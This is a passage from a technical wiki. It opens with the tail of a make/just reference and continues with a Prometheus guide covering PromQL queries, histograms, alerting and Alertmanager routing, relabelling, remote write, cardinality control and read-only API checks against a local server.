build # Show every variable make knows and where it came from make -p -n -f /dev/null 2>/dev/null | grep -E '^# (makefile|environment|command line)' -A1 | head -50 # Print a single variable without a print-% rule make -f Makefile -f <(printf 'show:\n\t@echo $(VERSION)\n') show # Targets in the Makefile that are not .PHONY and not files (candidates for .PHONY) comm -23 <(make -pRrq : 2>/dev/null | awk -F: '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {print $1}' | sort -u) <(ls | sort) # Time each target in a parallel build make -j8 -O --trace build 2>&1 | ts '%H:%M:%.S' # Find lines indented with spaces where a tab is expected grep -nP '^ +\S' Makefile # Convert leading spaces to a tab in recipe lines (rewrites the file) sed -i -E 's/^ {2,8}/\t/' Makefile # Show the shell make will use and its flags make -p -n -f /dev/null 2>/dev/null | grep -E '^(SHELL|\.SHELLFLAGS) ' # Run a target with a variable override and verbose shell make build VERSION=1.2.3 SHELL='bash -x' # Remake everything, ignoring timestamps make -B -j"$(nproc)" # Check a Makefile parses without running anything make -n -f Makefile >/dev/null # List recipes with descriptions, JSON, for scripting just --dump --dump-format json | jq '.recipes | keys' # Run a recipe from a subdirectory of the project just --fallback test # Does the justfile parse just --list >/dev/null # Check justfile formatting in CI just --fmt --check --unstable # Show the shell commands a recipe expands to just --dry-run deploy production # Run a recipe with an environment file other than .env just --dotenv-filename .env.staging deploy ``` ## Scripts Detect targets that rebuild on every run: run make twice and report anything that still executed the second time. ```sh #!/usr/bin/env bash set -euo pipefail target=${1:-all} make -s "$target" >/dev/null second=$(make -n "$target" 2>&1 | grep -v -E '^make(\[[0-9]+\])?: (Nothing to be done|Entering|Leaving)' || true) if [[ -n $second ]]; then printf 'these commands would run again after a clean build of %s:\n%s\n' "$target" "$second" exit 1 fi printf '%s is stable: nothing to do on the second run\n' "$target" ``` Print the dependency graph of a Makefile in DOT format for `dot -Tsvg`. ```sh #!/usr/bin/env bash set -euo pipefail { echo 'digraph make {' echo ' rankdir=LR; node [shape=box];' make -pRrq : 2>/dev/null | awk '/^# Not a target/ {skip=1; next} /^[a-zA-Z0-9_.\/-]+:( |$)/ && !skip { split($0, a, ":"); n=split(a[2], deps, " "); for (i=1; i<=n; i++) printf " \"%s\" -> \"%s\";\n", a[1], deps[i] } {skip=0}' echo '}' } > deps.dot printf 'wrote deps.dot; render with: dot -Tsvg deps.dot -o deps.svg\n' ``` Run every `just` recipe in a `check` group and summarise pass and fail, for a pre-push hook. ```sh #!/usr/bin/env bash set -euo pipefail mapfile -t recipes < <(just --dump --dump-format json | jq -r '.recipes[] | select(.attributes[]? .group == "check") | .name') [[ ${#recipes[@]} -gt 0 ]] || { echo 'no recipes in group "check"' >&2; exit 1; } rc=0 for r in "${recipes[@]}"; do if just "$r" >"/tmp/just-$r.log" 2>&1; then printf 'ok %s\n' "$r" else printf 'FAIL %s (see /tmp/just-%s.log)\n' "$r" "$r"; rc=1; fi done exit "$rc" ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `*** missing separator. Stop.` | Recipe line indented with spaces, or a stray line that is neither rule nor assignment | `grep -nP '^ +\S' Makefile`; convert to a tab or set `.RECIPEPREFIX := >` and use `>` | | `*** missing separator` on a line with a tab | Editor inserted a non-breaking space or CRLF line endings | `cat -A Makefile \| grep -n 'M-BM- \|\^M$'`; `sed -i 's/\r$//'` | | Target rebuilds every time | Target name is not the file the recipe creates, or a prerequisite is phony or a directory | `make --debug=b`; make the recipe write `$@`, use `\|` for directories, add a stamp file | | `Nothing to be done for 'test'` | A file or directory named `test` exists | Add `test` to `.PHONY` | | `No rule to make target 'x', needed by 'y'` | Prerequisite file missing and no rule can build it; often a deleted header still listed in a generated `.d` file | `rm` the stale dependency file, or use `-MP` with gcc to emit phony targets for headers | | `Circular x <- y dependency dropped` | A target lists itself, directly or through pattern rules | `make -pn \| grep -E '^(x\|y):'`; usually a `%` rule that matches its own output | | Works serially, fails with `-j` | Missing dependency edge; a target used a file another target creates | `make --shuffle=random -j8` to reproduce; add the prerequisite or `.WAIT` | | `cd` has no effect, variable set on one line is empty on the next | Each recipe line is a separate shell | Join with `&& \`, or `.ONESHELL:` with `.SHELLFLAGS := -eu -o pipefail -c` | | `$VAR` expands to nothing or `AR` | `$V` then `AR` | `$(VAR)` in make, `$$VAR` for a shell variable | | `$(shell ...)` runs many times, build slow | Recursive `=` assignment | `:=` | | Recipe fails but make continues | Only the last line's status matters without `.ONESHELL`; `-` prefix; or a pipeline without `pipefail` | `SHELL := bash`, `.SHELLFLAGS := -eu -o pipefail -c` | | `make: *** No targets. Stop.` | Makefile not found, or wrong case (`makefile`, `GNUmakefile` are also searched) | `make -f`, `ls -la Makefile` | | Variable from `.env` not visible | Make does not read `.env` | `include .env` then `export`, or use just with `set dotenv-load` | | just: `Recipe 'x' could not be run because just could not find the shell` | `set shell` names a shell not installed | `just --evaluate` shows nothing; check `command -v bash` | | just: `Variable 'x' not defined` | `{{x}}` used before assignment or with a typo; or `$x` was meant | Use `$x` for shell variables, `{{x}}` only for just variables | | just: `Recipe 'deploy' got 1 argument but takes 2` | Missing parameter default | `deploy env="staging"` or `*args` | ## Further reading - [GNU make manual](https://www.gnu.org/software/make/manual/make.html) - [GNU make: automatic variables](https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html) - [GNU make: special built-in target names](https://www.gnu.org/software/make/manual/html_node/Special-Targets.html) - [just manual](https://just.systems/man/en/) - [just: settings](https://just.systems/man/en/settings.html) - [just: recipe attributes](https://just.systems/man/en/attributes.html) --- # Prometheus > Write PromQL for incidents, read counters and histograms correctly, write alerting and recording rules, and keep series cardinality under control. Canonical: https://www.wiki.jodisand.me/prometheus/ Reviewed: 2026-09-24 Related: [OpenTelemetry](https://www.wiki.jodisand.me/opentelemetry/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md), [jq](https://www.wiki.jodisand.me/jq/index.md) ## Cheatsheet | Question | Query | | --- | --- | | Request rate by service | `sum by (service) (rate(http_requests_total[5m]))` | | Error ratio by service | `sum by (service) (rate(http_requests_total{status=~"5.."}[5m])) / sum by (service) (rate(http_requests_total[5m]))` | | p99 latency (classic histogram) | `histogram_quantile(0.99, sum by (le) (rate(http_request_duration_seconds_bucket[5m])))` | | p99 latency (native histogram) | `histogram_quantile(0.99, sum(rate(http_request_duration_seconds[5m])))` | | Mean latency | `rate(http_request_duration_seconds_sum[5m]) / rate(http_request_duration_seconds_count[5m])` | | Errors in the last hour | `increase(http_requests_total{status=~"5.."}[1h])` | | Targets that failed their last scrape | `up == 0` | | Top CPU pods | `topk(5, sum by (pod) (rate(container_cpu_usage_seconds_total[5m])))` | | Containers restarted in 24 h | `increase(kube_pod_container_status_restarts_total[24h]) > 0` | | Filesystem full within 4 days | `predict_linear(node_filesystem_avail_bytes[6h], 4*24*3600) < 0` | | Memory against limit | `sum by (pod) (container_memory_working_set_bytes) / on (pod) group_left sum by (pod) (kube_pod_container_resource_limits{resource="memory"})` | | Slowest scrapes | `topk(10, scrape_duration_seconds)` | | Series per metric (expensive) | `topk(10, count by (__name__) ({__name__=~".+"}))` | Read a ratio next to its rate. A 100% error ratio over two requests is noise; the same ratio over two thousand is an outage. The series-count query touches every series in the head block. On a large server prefer the TSDB status API in [HTTP API checks](#http-api-checks). ## Instant and range vectors An instant vector holds one sample per series at the evaluation time. A range vector holds every sample per series inside a window. Functions convert between them, and most PromQL type errors are a mismatch between the two. ```promql http_requests_total # instant vector http_requests_total[5m] # range vector rate(http_requests_total[5m]) # range in, instant out sum(http_requests_total[5m]) # error: sum takes an instant vector ``` Only instant vectors (and scalars) can be graphed. For an instant selector Prometheus returns the most recent sample within the lookback delta (5 minutes by default, `--query.lookback-delta`), so a series that stopped reporting keeps appearing for up to 5 minutes. Since Prometheus 3.0 range selectors are left-open: a sample exactly on the left boundary is excluded. Subqueries with aligned steps lose a point, so `foo[1m:1m]` returns one sample instead of two and `rate` over it returns nothing. Widen the window, for example `[2m:1m]`. See the [3.0 migration guide](https://prometheus.io/docs/prometheus/latest/migration/). ## Counters, gauges and histograms A counter only increases and resets to zero when the process restarts, so its raw value is rarely useful. `rate`, `irate` and `increase` treat any decrease as a reset and compensate. ```promql rate(http_requests_total[5m]) # per-second average over the window, reset-aware, extrapolated to the window edges irate(http_requests_total[5m]) # per-second from the last two samples only: responsive, noisy increase(http_requests_total[1h]) # rate × window; can return non-integers because of extrapolation ``` `rate` needs at least two samples in the window. Use a window of at least four scrape intervals so one missed scrape does not produce a gap: `[2m]` at a 30 s interval, `[5m]` as a safe default. Use `irate` on dashboards for spiky detail, not in alerts, because a single sample pair decides the result. Always `rate` first and aggregate second. `rate(sum(...))` cannot see resets in the individual counters. Gauges go up and down and are read directly or with `*_over_time` functions. ```promql node_memory_MemAvailable_bytes avg_over_time(node_memory_MemAvailable_bytes[1h]) delta(node_filesystem_avail_bytes[1h]) # change over the window, gauges only predict_linear(node_filesystem_avail_bytes[6h], 4*24*3600) < 0 # linear fit, 4 days ahead ``` A classic histogram is a set of cumulative bucket counters labelled `le`, plus `_sum` and `_count`. `histogram_quantile` interpolates linearly inside the bucket that holds the quantile, so accuracy is bounded by the bucket layout. If the largest finite bucket is `le="1"` and the true p99 is 4 s, the query returns 1 s and nothing downstream can correct it. ```promql histogram_quantile(0.99, sum by (le, service) (rate(http_request_duration_seconds_bucket[5m]))) # correct: rate, sum keeping le, then quantile histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) # per-series quantile; usually not what you want ``` > [!NOTE] Quantiles do not average > Averaging per-instance p99 values does not give a fleet p99. Sum the bucket rates across instances and compute the quantile from the total. Summaries (`quantile` label) cannot be aggregated at all. Native histograms store sparse, exponential buckets in one series, so there is no `le` label and no `_bucket` suffix. They are stable from Prometheus 3.8 but still opt-in per scrape with `scrape_native_histograms: true`; from 3.9 the old `--enable-feature=native-histograms` flag does nothing. See the [native histogram spec](https://prometheus.io/docs/specs/native_histograms/). Prometheus 3.0 normalises `le` and `quantile` values to floats on ingestion. A selector such as `{le="1"}` must now be written `{le="1.0"}`. ## Selectors and aggregation Regex matchers are anchored at both ends, so `status=~"5.."` matches `500` and not `x500`. Since 3.0, `.` also matches a newline. ```promql http_requests_total{job="api", status="500"} http_requests_total{status=~"5.."} http_requests_total{status!~"2..|3.."} {__name__=~"http_.+", job="api"} sum by (service, status) (rate(http_requests_total[5m])) # keep only these labels sum without (instance, pod) (rate(http_requests_total[5m])) # drop these, keep the rest topk(5, sum by (pod) (rate(container_cpu_usage_seconds_total[5m]))) count by (job) (up == 1) ``` `without` keeps labels added upstream later; `by` silently drops them. Use `by` in alerts where the label set must stay stable, `without` in recording rules that should pass labels through. ## Joins with on and group_left Binary operators match series with identical label sets. `on (labels)` restricts the match key, and `group_left` allows many left-hand series per right-hand series. That is how an info-style metric contributes labels to a value. ```promql # Attach the owning workload to per-pod CPU sum by (pod) (rate(container_cpu_usage_seconds_total[5m])) * on (pod) group_left (owner_name) kube_pod_owner # Memory used as a fraction of the limit sum by (pod) (container_memory_working_set_bytes) / on (pod) group_left sum by (pod) (kube_pod_container_resource_limits{resource="memory"}) ``` `many-to-many matching not allowed` means the `on` labels do not identify one series on the "one" side. Add labels to `on`, or aggregate that side first so it is unique. ## PromQL recipes Patterns that recur in incidents and reviews. Each is written to be pasted into the expression browser with the metric names swapped. ```promql # Availability (SLI) over 30 days as a ratio 1 - (sum(increase(http_requests_total{status=~"5.."}[30d])) / sum(increase(http_requests_total[30d]))) # Error budget burn rate: 1.0 means spending exactly the budget for a 99.9% SLO (sum(rate(http_requests_total{status=~"5.."}[1h])) / sum(rate(http_requests_total[1h]))) / (1 - 0.999) # Multi-window burn-rate page: fast and slow windows must both burn (sum(rate(http_requests_total{status=~"5.."}[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)) and (sum(rate(http_requests_total{status=~"5.."}[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)) # Fraction of requests under 300 ms (Apdex-style) from a classic histogram sum(rate(http_request_duration_seconds_bucket{le="0.3"}[5m])) / sum(rate(http_request_duration_seconds_count[5m])) # Week-over-week comparison of request rate sum(rate(http_requests_total[5m])) / sum(rate(http_requests_total[5m] offset 1w)) # Value now versus one hour ago, as a percentage change (sum(rate(http_requests_total[5m])) - sum(rate(http_requests_total[5m] offset 1h))) / sum(rate(http_requests_total[5m] offset 1h)) * 100 # Which series appeared in the last hour that did not exist an hour ago (new deployments, label explosions) count by (job) (up) unless count by (job) (up offset 1h) # Labels present on a metric without pulling values group by (job, instance) (http_requests_total) # Guard a division against zero: return nothing rather than NaN or Inf sum(rate(a_total[5m])) / (sum(rate(b_total[5m])) > 0) # Default when a series is missing: 0 if no matching series sum(rate(http_requests_total{job="api"}[5m])) or vector(0) # Per-pod CPU throttling ratio (above 25% sustained means the limit is too low) sum by (pod) (rate(container_cpu_cfs_throttled_periods_total[5m])) / sum by (pod) (rate(container_cpu_cfs_periods_total[5m])) # Node memory pressure without cache 1 - node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes # Disk read/write latency per operation from node_exporter rate(node_disk_read_time_seconds_total[5m]) / rate(node_disk_reads_completed_total[5m]) # Time since a counter last moved (stalled consumer, frozen job) time() - timestamp(max_over_time(jobs_processed_total[1h]) and changes(jobs_processed_total[1h]) > 0) # Kubernetes: pods not ready for more than 15 minutes, excluding completed jobs min_over_time(kube_pod_status_ready{condition="true"}[15m]) == 0 unless on (pod, namespace) kube_pod_status_phase{phase="Succeeded"} == 1 # Kubernetes: deployments with fewer available replicas than desired kube_deployment_status_replicas_available < kube_deployment_spec_replicas # Kubernetes: HPA at its ceiling kube_horizontalpodautoscaler_status_current_replicas >= kube_horizontalpodautoscaler_spec_max_replicas # Scrape health: targets whose scrape takes longer than half their interval scrape_duration_seconds > 7.5 # for a 15 s interval # Prometheus itself: samples ingested per second and head series rate(prometheus_tsdb_head_samples_appended_total[5m]) prometheus_tsdb_head_series # Percentiles across a fleet, keeping one label histogram_quantile(0.95, sum by (le, region) (rate(http_request_duration_seconds_bucket[5m]))) # Subquery: the maximum 5 minute rate seen in the last day max_over_time(sum(rate(http_requests_total[5m]))[1d:1m]) # Aggregation over labels whose names you do not know: quantile across instances quantile by (job) (0.9, rate(process_cpu_seconds_total[5m])) # Label manipulation: copy a label, then aggregate on the copy sum by (env) (label_replace(rate(http_requests_total[5m]), "env", "$1", "namespace", "(prod|staging)-.*")) # Info metric join: attach the image version to restart counts increase(kube_pod_container_status_restarts_total[1h]) * on (pod, container, namespace) group_left (image) kube_pod_container_info ``` `offset` and `@` modifiers pin a selector in time (`up @ 1700000000`, `up @ end()`); a negative offset needs `--enable-feature=promql-negative-offset` before 2.x and is on by default in 3.x. `unless` is the set-difference operator and the cleanest way to write "A that is not in B". Every `rate` over a window shorter than four scrape intervals is a source of gaps, whatever the recipe. ## Alerting rules `for` requires the expression to return the series at every evaluation for that long before the alert moves from pending to firing. One evaluation without the series resets the timer. `keep_firing_for` (Prometheus 2.42 and later) holds a firing alert after the condition clears, which stops flapping alerts from resolving and re-paging. ```yaml groups: - name: api interval: 30s rules: - alert: ApiHighErrorRate expr: | sum by (service) (rate(http_requests_total{status=~"5.."}[5m])) / sum by (service) (rate(http_requests_total[5m])) > 0.05 for: 10m keep_firing_for: 5m labels: severity: page annotations: summary: "{{ $labels.service }} returning {{ $value | humanizePercentage }} errors" runbook_url: https://wiki.example.com/runbooks/api-errors - alert: TargetDown expr: up == 0 for: 5m labels: severity: ticket ``` Alert on what a user feels: error ratio, latency, saturation of something finite such as disk or connection pools. CPU at 90% is often fine and makes a poor page. An alert on a series that disappears (the target was removed, or the metric is only emitted on error) never fires. Cover it with `absent(up{job="api"})` or `absent_over_time(...)`. Rule unit tests run the expression against synthetic series and assert the alerts (or recorded values) at a point in time. They are the only way to prove that `for` and the label set behave before an alert reaches production. ```yaml # tests.yaml, run with: promtool test rules tests.yaml rule_files: [rules/api.yaml] evaluation_interval: 30s tests: - interval: 30s input_series: - series: 'http_requests_total{service="api", status="500"}' values: '0+10x40' # starts at 0, +10 per interval, 40 samples - series: 'http_requests_total{service="api", status="200"}' values: '0+90x40' alert_rule_test: - eval_time: 12m # past the 10m for alertname: ApiHighErrorRate exp_alerts: - exp_labels: { service: api, severity: page } exp_annotations: summary: "api returning 10% errors" runbook_url: https://wiki.example.com/runbooks/api-errors - eval_time: 5m # still pending: expect nothing alertname: ApiHighErrorRate exp_alerts: [] promql_expr_test: - expr: job:http_requests:rate5m eval_time: 5m exp_samples: [{ labels: 'job:http_requests:rate5m', value: 3.3333333333333335 }] # sum by (job) drops service; no job label in the input ``` Series notation: `'a+bxc'` is a start value, an increment per interval and a count; `_` is a missing sample and `stale` a staleness marker. `humanizePercentage` renders `0.1` as `10%`, and the test compares the rendered annotation string exactly. ## Alertmanager routing Prometheus sends every firing alert to every configured Alertmanager; Alertmanager deduplicates, groups, routes, silences and inhibits. The routing tree is matched top-down: the first child whose matchers match wins unless `continue: true`, and unmatched alerts fall through to the root receiver. Grouping is per route: `group_by` decides which alerts share one notification, `group_wait` how long to hold the first alert to collect its group, `group_interval` how often to send updates for the same group, and `repeat_interval` how often to re-send an unchanged group. ```yaml # alertmanager.yml global: resolve_timeout: 5m route: receiver: default-ticket group_by: [alertname, cluster, namespace] group_wait: 30s group_interval: 5m repeat_interval: 12h routes: - matchers: [severity="page"] receiver: oncall-pager group_wait: 10s repeat_interval: 4h routes: - matchers: [team="db"] receiver: db-pager # more specific route wins for db pages - matchers: [alertname=~"Watchdog|InfoInhibitor"] receiver: blackhole # alerts that exist to be present - matchers: [severity="ticket"] receiver: default-ticket active_time_intervals: [business-hours] continue: true # also fall through to the chat route - matchers: [severity=~"ticket|warning"] receiver: team-chat time_intervals: - name: business-hours time_intervals: - weekdays: ["monday:friday"] times: [{ start_time: "09:00", end_time: "17:00" }] location: Australia/Sydney inhibit_rules: - source_matchers: [alertname="NodeDown"] target_matchers: [severity=~"page|ticket"] equal: [instance] # silence everything else from a node that is down - source_matchers: [severity="page"] target_matchers: [severity="ticket"] equal: [alertname, namespace] # do not ticket what is already paging receivers: - name: blackhole - name: oncall-pager pagerduty_configs: - routing_key_file: /etc/alertmanager/secrets/pagerduty # never inline the key severity: '{{ if eq .CommonLabels.severity "page" }}critical{{ else }}warning{{ end }}' - name: db-pager pagerduty_configs: [{ routing_key_file: /etc/alertmanager/secrets/pagerduty-db }] - name: default-ticket webhook_configs: [{ url_file: /etc/alertmanager/secrets/ticket-webhook, send_resolved: true }] - name: team-chat slack_configs: - api_url_file: /etc/alertmanager/secrets/slack channel: "#alerts" title: '{{ .GroupLabels.alertname }} ({{ .Alerts.Firing | len }} firing)' text: '{{ range .Alerts }}{{ .Annotations.summary }}{{ "\n" }}{{ end }}' ``` `amtool` talks to the Alertmanager API and is the tool for checking why an alert went where it did: ```sh amtool check-config alertmanager.yml # parse and template check amtool config routes test --config.file alertmanager.yml severity=page team=db # which receiver a label set reaches amtool config routes show --config.file alertmanager.yml # routing tree amtool alert query --alertmanager.url http://localhost:9093 severity=page # currently firing, as Alertmanager sees them amtool alert query -o json | jq -r '.[] | [.labels.alertname, .status.state, (.status.inhibitedBy|length), (.status.silencedBy|length)] | @tsv' amtool silence add --alertmanager.url http://localhost:9093 alertname=ApiHighErrorRate service=api -d 2h -c "deploy in progress" -a alice amtool silence query; amtool silence expire amtool cluster show # HA peers and gossip state ``` A missing notification is one of: not sent by Prometheus (`prometheus_notifications_sent_total`, `ALERTS{alertstate="firing"}`), inhibited or silenced (the `status` fields above), routed to another receiver (`routes test`), grouped and waiting (`group_wait`), or rejected by the integration (`alertmanager_notifications_failed_total` by `integration`). Run at least two Alertmanagers in a cluster and point every Prometheus at all of them; the gossip protocol deduplicates. ## Service discovery and relabelling `relabel_configs` runs before the scrape and decides which discovered targets are kept and what their labels become; `metric_relabel_configs` runs on the scraped samples. Discovered metadata arrives as `__meta_*` labels that are dropped after relabelling, so anything you want to keep must be copied to a normal label. `__address__` is the target, `__metrics_path__` the path, `__scheme__` the scheme, and `__param_` becomes a URL parameter. ```yaml scrape_configs: - job_name: kubernetes-pods kubernetes_sd_configs: - role: pod namespaces: { names: [my-namespace, monitoring] } relabel_configs: - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape] action: keep regex: "true" # opt-in by annotation - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_path] action: replace target_label: __metrics_path__ regex: (.+) # only when the annotation exists - source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port] action: replace regex: ([^:]+)(?::\d+)?;(\d+) replacement: $1:$2 target_label: __address__ # swap the port for the annotated one - action: labelmap regex: __meta_kubernetes_pod_label_(.+) # every pod label becomes a metric label - source_labels: [__meta_kubernetes_namespace] target_label: namespace - source_labels: [__meta_kubernetes_pod_name] target_label: pod - source_labels: [__meta_kubernetes_pod_container_init] action: drop regex: "true" - source_labels: [__meta_kubernetes_pod_phase] action: drop regex: Pending|Succeeded|Failed - action: hashmod # shard targets across two servers source_labels: [__address__] modulus: 2 target_label: __tmp_shard - source_labels: [__tmp_shard] action: keep regex: "0" - job_name: blackbox metrics_path: /probe params: { module: [http_2xx] } static_configs: - targets: [https://app.example.com/healthz, https://api.example.com/ready] relabel_configs: - source_labels: [__address__] target_label: __param_target # the URL becomes the ?target= parameter - source_labels: [__param_target] target_label: instance # keep it visible - target_label: __address__ replacement: blackbox-exporter.monitoring:9115 # scrape the exporter, not the URL ``` | Action | Effect | | --- | --- | | `replace` (default) | Write `replacement` (with `$1` groups from `regex` on the joined `source_labels`) to `target_label` | | `keep` / `drop` | Keep or drop the target (or sample) when `regex` matches | | `keepequal` / `dropequal` | Keep or drop when the joined `source_labels` equal `target_label` | | `labelmap` | Copy labels whose names match `regex` to names given by `replacement` | | `labeldrop` / `labelkeep` | Remove labels by name pattern (results must remain unique) | | `hashmod` | Set `target_label` to hash of `source_labels` modulo `modulus`, for sharding | | `lowercase` / `uppercase` | Case-fold the joined `source_labels` into `target_label` | `regex` is anchored (`^(?:...)$`) and `source_labels` are joined with `;`. Status > Service Discovery in the UI shows every discovered target with its `__meta_*` labels before and after relabelling, and `promtool check config` catches syntax but not logic; test a relabel rule by keeping only one target and reading the result on the Targets page. Discovery roles for Kubernetes are `node`, `pod`, `service`, `endpoints`, `endpointslice` and `ingress`; `endpointslice` is the one to scrape a Service's ready backends. ## Remote write and long-term storage A Prometheus server keeps 15 days by default (`--storage.tsdb.retention.time`) and has no replication. Remote write streams every sample to another system (Thanos Receive, Mimir, Cortex, VictoriaMetrics, another Prometheus with `--web.enable-remote-write-receiver`) for durability, global queries and longer retention, while the local server keeps answering fast queries and evaluating rules. ```yaml remote_write: - url: https://mimir.example.com/api/v1/push name: mimir protobuf_message: io.prometheus.write.v2.Request # remote write 2.0 (3.x); omit for 1.0 receivers headers: { X-Scope-OrgID: my-tenant } basic_auth: username: prometheus password_file: /etc/prometheus/secrets/remote-write # never inline queue_config: capacity: 10000 # samples buffered per shard max_shards: 50 max_samples_per_send: 2000 batch_send_deadline: 5s min_backoff: 30ms max_backoff: 5s retry_on_http_429: true write_relabel_configs: # runs before sending; drop what long-term storage does not need - source_labels: [__name__] regex: 'go_.*|process_.*' action: drop metadata_config: { send: true } ``` Remote write is at-least-once with in-order delivery per shard; when the receiver is down the write-ahead log buffers for `--storage.tsdb.wal-segment-size` times the retained segments (roughly two hours by default), after which samples are lost while `prometheus_remote_storage_samples_dropped_total` rises. Watch `prometheus_remote_storage_samples_pending`, `prometheus_remote_storage_shards` against `max_shards`, and `prometheus_remote_storage_highest_timestamp_in_seconds - prometheus_remote_storage_queue_highest_sent_timestamp_seconds` for lag. `external_labels` (`cluster`, `replica`) are added to every remote-written sample and are what a receiver uses to deduplicate an HA pair. Prometheus 3.x also accepts OTLP metrics on `/api/v1/otlp/v1/metrics` with `--web.enable-otlp-receiver`, which is how an [OpenTelemetry](https://www.wiki.jodisand.me/opentelemetry/) Collector ships metrics in without a Prometheus exporter. ## Recording rules Precompute expressions that dashboards evaluate repeatedly or alerts evaluate expensively. The naming convention `level:metric:operations` records what was aggregated and how. ```yaml groups: - name: api-recording interval: 30s rules: - record: job:http_requests:rate5m expr: sum by (job) (rate(http_requests_total[5m])) ``` Validate rule and config files before a reload. `promtool` ships in the Prometheus release tarball and image. ```sh promtool check rules rules/*.yaml # syntax and PromQL parse promtool check config prometheus.yml # also checks referenced rule files promtool test rules tests.yaml # unit tests with synthetic series ``` ## Cardinality Memory use follows the number of active series, not the sample rate. Every unique combination of metric name and label values is a separate series with its own in-memory chunk, so one unbounded label multiplies every other label. Never label with a user ID, request ID, raw URL path, email address, IP address of a client or a timestamp. A `path` label is fine as the route template `/users/{id}` and a problem as `/users/91823`. Drop or rewrite at scrape time with `metric_relabel_configs`, which runs after the scrape and before storage: ```yaml metric_relabel_configs: - source_labels: [__name__] regex: 'go_gc_duration_seconds.*' action: drop # drop whole metrics - regex: 'request_id' action: labeldrop # drop one label from every series; results must still be unique ``` Set per-scrape limits so one bad deploy fails its own scrape instead of the server: ```yaml scrape_configs: - job_name: api sample_limit: 50000 # scrape fails if exceeded label_limit: 30 ``` Dropping a label that was the only thing distinguishing two series leaves duplicate series in the scrape, and Prometheus rejects the duplicates. Check `lastError` for the target after changing relabelling. ## HTTP API checks These assume Prometheus listens on `localhost:9090` and [jq](https://www.wiki.jodisand.me/jq/) is installed. All are read-only except the reload. ```sh # Targets that are not up, with the scrape error curl -s localhost:9090/api/v1/targets | jq -r '.data.activeTargets[] | select(.health!="up") | [.labels.job, .scrapeUrl, .lastError] | @tsv' # Metrics with the most series in the head block curl -s localhost:9090/api/v1/status/tsdb | jq -r '.data.seriesCountByMetricName[] | [.value, .name] | @tsv' # Labels with the most distinct values curl -s localhost:9090/api/v1/status/tsdb | jq -r '.data.labelValueCountByLabelName[] | [.value, .name] | @tsv' # Series count for one metric curl -s 'localhost:9090/api/v1/series?match[]=http_requests_total' | jq '.data | length' # Run an instant query curl -s --data-urlencode 'query=sum by (job) (up)' localhost:9090/api/v1/query | jq -r '.data.result[] | [.metric.job, .value[1]] | @tsv' # Evaluate at a past instant curl -s --data-urlencode 'query=up' --data-urlencode "time=$(date -d '1 hour ago' +%s)" localhost:9090/api/v1/query | jq '.data.result | length' # Rules that fail to evaluate curl -s localhost:9090/api/v1/rules | jq -r '.data.groups[].rules[] | select(.health!="ok") | [.name, .lastError] | @tsv' # Firing alerts, counted by name and severity curl -s localhost:9090/api/v1/alerts | jq -r '.data.alerts[] | select(.state=="firing") | [.labels.alertname, .labels.severity] | @tsv' | sort | uniq -c # Effective runtime flags curl -s localhost:9090/api/v1/status/flags | jq # Reload config and rules (needs --web.enable-lifecycle; otherwise send SIGHUP) curl -sX POST localhost:9090/-/reload # Build info and version curl -s localhost:9090/api/v1/status/buildinfo | jq -r '.data | "\(.version) \(.goVersion)"' # Runtime: head series, chunks, WAL replay status, retention in use curl -s localhost:9090/api/v1/status/runtimeinfo | jq '.data | {timeSeriesCount, chunkCount, storageRetention, corruptionCount, reloadConfigSuccess}' # Scrape pools and how many targets are healthy in each curl -s localhost:9090/api/v1/targets | jq -r '.data.activeTargets | group_by(.scrapePool)[] | "\(.[0].scrapePool)\t\(map(select(.health=="up")) | length)/\(length)"' # Targets discovered but dropped by relabelling, with the reason labels curl -s 'localhost:9090/api/v1/targets?state=dropped' | jq -r '.data.droppedTargets[] | .discoveredLabels | "\(.__address__)\t\(.job // .__meta_kubernetes_namespace // "-")"' | head # Metadata (type and help) for one metric across every target curl -s 'localhost:9090/api/v1/metadata?metric=http_requests_total' | jq '.data' # Every label name in use curl -s localhost:9090/api/v1/labels | jq -r '.data[]' # Values of one label, optionally restricted by a matcher curl -s 'localhost:9090/api/v1/label/job/values' | jq -r '.data[]' curl -s 'localhost:9090/api/v1/label/pod/values?match[]=up{namespace="my-namespace"}' | jq -r '.data[]' # Series cardinality of a label combination without a PromQL query curl -s 'localhost:9090/api/v1/series?match[]={__name__=~"http_.*",job="api"}' | jq '.data | group_by(.__name__) | map({name: .[0].__name__, series: length}) | sort_by(-.series)' # Range query, printed as a CSV of time and value curl -s --data-urlencode 'query=sum(rate(http_requests_total[5m]))' --data-urlencode "start=$(date -d '1 hour ago' +%s)" --data-urlencode "end=$(date +%s)" --data-urlencode 'step=60' localhost:9090/api/v1/query_range | jq -r '.data.result[0].values[] | "\(.[0] | todate),\(.[1])"' # Instant query with a query timeout and evaluation statistics curl -s --data-urlencode 'query=count({__name__=~".+"})' --data-urlencode 'timeout=30s' --data-urlencode 'stats=all' localhost:9090/api/v1/query | jq '.data.stats.timings' # Alerting rules with their current state and active alert count curl -s 'localhost:9090/api/v1/rules?type=alert' | jq -r '.data.groups[].rules[] | "\(.state)\t\(.alerts | length)\t\(.name)"' | sort # Rule groups by evaluation time, slowest first curl -s localhost:9090/api/v1/rules | jq -r '.data.groups[] | "\(.evaluationTime | . * 1000 | floor) ms\t\(.file):\(.name)"' | sort -rn | head # Alerts pending longer than expected (activeAt older than 30 minutes) curl -s localhost:9090/api/v1/alerts | jq -r --arg t "$(date -d '30 min ago' -u +%FT%TZ)" '.data.alerts[] | select(.state=="pending" and .activeAt < $t) | "\(.labels.alertname)\t\(.activeAt)"' # Alertmanagers Prometheus is sending to, and any it dropped curl -s localhost:9090/api/v1/alertmanagers | jq '.data | {active: [.activeAlertmanagers[].url], dropped: [.droppedAlertmanagers[].url]}' # Configuration as loaded (secrets are redacted as ) curl -s localhost:9090/api/v1/status/config | jq -r .data.yaml | head -40 # WAL replay progress after a restart curl -s localhost:9090/api/v1/status/walreplay | jq .data # Health and readiness endpoints for probes curl -sf localhost:9090/-/healthy 